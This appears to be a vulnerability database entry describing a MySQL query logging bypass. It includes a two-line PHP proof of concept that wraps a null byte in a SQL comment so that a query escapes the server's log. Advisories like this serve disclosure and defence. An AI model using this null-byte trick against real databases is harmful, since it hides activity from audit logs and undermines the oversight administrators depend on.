• info
• discussion
• exploit
• solution
• references

MySQL Query Logging Bypass Vulnerability

An attacker uses standard MySQL client calls to exploit this issue.

PHP code designed to exploit this issue is provided:

mysql_connect(...);
mysql_query('/*'.chr(0).'*/ SELECT * FROM table');